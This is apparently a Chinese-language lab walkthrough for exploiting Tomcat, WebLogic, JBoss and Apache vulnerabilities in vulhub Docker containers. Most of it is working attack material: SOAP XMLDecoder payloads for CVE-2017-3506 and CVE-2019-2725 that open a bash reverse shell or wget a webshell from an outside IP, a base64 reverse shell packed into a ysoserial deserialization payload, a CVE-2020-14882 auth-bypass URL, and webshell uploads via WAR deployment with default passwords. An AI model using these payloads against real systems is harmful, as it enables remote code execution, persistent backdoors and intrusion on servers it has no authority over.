一、Tomcat
1 CVE-2017-12615
环境搭建
cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d
用哥斯拉生成一个jsp的木马

⾸⻚抓包,修改为 PUT ⽅式提交

默认的哥斯拉密码秘钥配置
访问我们上传的文件
Webshell客户端⼯具进⾏连接

2 后台弱⼝令部署war包
环境搭建
cd vulhub-master/tomcat/tomcat8
docker-compose up -d
可以把上一题的环境删除或者更改端口就可以启动成功了
默认密码:tomcat/tomcat

制作WAR包
制作WAR包,将JSP⽊⻢压缩为ZIP格式,然后修改后缀为war就可以了。


⽂件上传成功后,默认会在⽹站根⽬录下⽣成和war包名称⼀致得⽬录,然后⽬录中得⽊⻢就是压缩前的⽂件名。
使用哥斯拉连接

3 CVE-2020-1938
环境搭建
cd vulhub-master/tomcat/CVE-2020-1938
docker-compose up -d
tomcat默认的conf/server.xml中配置了2个Connector,⼀个为 8080 的对外提供的HTTP协议端⼝,另外⼀个就是默认的 8009 AJP协议端⼝,两个端⼝默认均监听在外⽹ip。

POC:
python Tomcat-ROOT路径下文件包含\(CVE-2020-1938\).py -p 8009 -f /WEB-INF/web.xml 8.140.254.245
⼆、WebLogic
1 后台弱⼝令GetShell
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
默认账号密码:weblogic/Oracle@123
weblogic常⽤弱⼝令:https://cirt.net/passwords?criteria=weblogic
这⾥注意, 单个账号错误密码5次之后就会⾃动锁定。
进入后台
Oracle WebLogic Server Administration Console
登录后台后,点击部署,点击安装,点击上传⽂件。
上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传
我们直接用我们之前的war包
然后⼀直下⼀步
然后访问我们上传的文件使用哥斯拉连接
2 CVE-2017-3506
还是上一题的环境
访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
验证是否存在wls-wsat组件
在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/8.140.254.245/6666 0>&1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发送到重放器

改成自己的IP

提前开启nc监听
3 CVE-2019-2725
环境还是上一题的环境
.漏洞验证
http://8.140.254.245:7001/_async/AsyncResponseService
如果出现⼀下⻚⾯,则说明存在漏洞

在当前⻚⾯抓包 , 修改请求包 , 写⼊shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://8.140.254.245/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
先把我们的木马上传到我们的主机上

访问下载到weblogic服务器上的⽊⻢

进⾏链接

4 CVE-2018-2628
环境搭建
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d

直接使⽤利⽤ONE-FOX⼯具

5 CVE-2018-2894
环境搭建
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
这⾥环境后台密码是随机得,获取密码: docker-compose logs | grep password

设置Web服务测试开启
http://8.140.254.245:7001/console/login/LoginForm.jsp


设置web服务测试开启: 域结构 -> base-domain -> ⾼级 -> 启动Web服务测试⻚


点击保存 , 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录,访问这个⽬录是⽆需权限的,这⼀点很重要
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全 , 点击添加上传哥斯拉生成的木马

右键审查元素 , 然后搜索16 , 找到对应时间戳

Webshell链接
8.140.254.245:7001/ws_utc/css/config/keystore/1753961107165_shell.jsp
时间戳_⽂件名.jsp

6 CVE-2020-14882
环境搭建
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
1.访问管理控制台
http://8.140.254.245:7001/console/login/LoginForm.jsp
2.使⽤以下url绕过登录认证
http://8.140.254.245:7001/console/css/%252e%252e%252fconsole.portal(一次不行试试两次)

此时达到未授权得效果。还未能GetShell。可以利⽤第⼆个漏洞(CVE-2020-14883),远程加载XML⽂件拿到Shell
⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令
我们进⼊到docker中可以看到命令已经成功运⾏了


这种利⽤⽅法只能在 Weblogic 12.2.1 及以上版本中使⽤,因为 10.3.6 没有 class
三、Jboss
1 CVE-2015-7501
环境搭建
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
POC,访问地址
http://8.140.254.245:8080/invoker/JMXInvokerServlet
返回如下,说明接⼝开放,此接⼝存在反序列化漏洞
下载 ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
将反弹shell进⾏base64编码
bash -i >& /dev/tcp/8.140.254.245/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yNTQuMjQ1LzY2NjYgMD4mMQ==
java -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yNTQuMjQ1LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser
3.服务器设置监听得端⼝
nc -lvvp 6666
执⾏命令
curl http://8.140.254.245:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

2 CVE-2017-7504
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
访问漏洞地址
http://8.140.254.245:8080/jbossmq-httpil/HTTPServerILServlet

主机上python3 jexboss.py -u http://8.140.254.245:8080

利⽤:https://blog.csdn.net/weixin_44971640/article/details/128313851
3 CVE-2017-12149
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
访问漏洞⻚⾯
验证是否存在漏洞 , 访问
http://8.140.254.245:8080/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将⽤户post请求内容进⾏反序列化
返回500,说明⻚⾯存在,此⻚⾯存在反序列化漏洞
使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:⼯具
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
也可以直接执⾏命令:https://github.com/yunxu1/jboss-_CVE-2017-12149

4 Administration Console弱⼝令
环境与上一题一样
密码⽂件
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码:admin:vulhub
访问http://8.140.254.245:8080/admin-console/login.seam
登录后台点击web应⽤
上传我们的木马 shell.war(将shell.jsp压缩如何后缀从zip改为war)
连接WebShell


5 低版本JMX Console未授权
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
访问
http://8.140.254.245:8080/jmx-console/
2.这⾥我们使⽤得复现环境不存在,所以需要密码(正常环境⽆需密码直接可进⼊)
admin admin

然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去(通过URL的⽅式远程部署)

找到⻚⾯中的void addURL() 选项远程加载war包来部署。
制作war包 , 这⾥⽤之前制作好的 cmd.war
填写war包远程地址


webshell连接
http://8.140.254.245:8080/cmd/cmd.jsp
6 ⾼版本JMX Console未授权
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
http://8.140.254.245:8080/jmx-console/
因为使⽤环境不存在该漏洞所以需要输⼊账户密码:admin vulhub

本地搭建部署点
在JMX Console⻚⾯点击jboss.system链接,在Jboss.system⻚⾯中点击service=MainDeployer,如下

进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址进⾏远程部署

然后输⼊Invoke

连接Webshell

四、四、Apache
CVE-2021-41773
环境搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

⼯具验证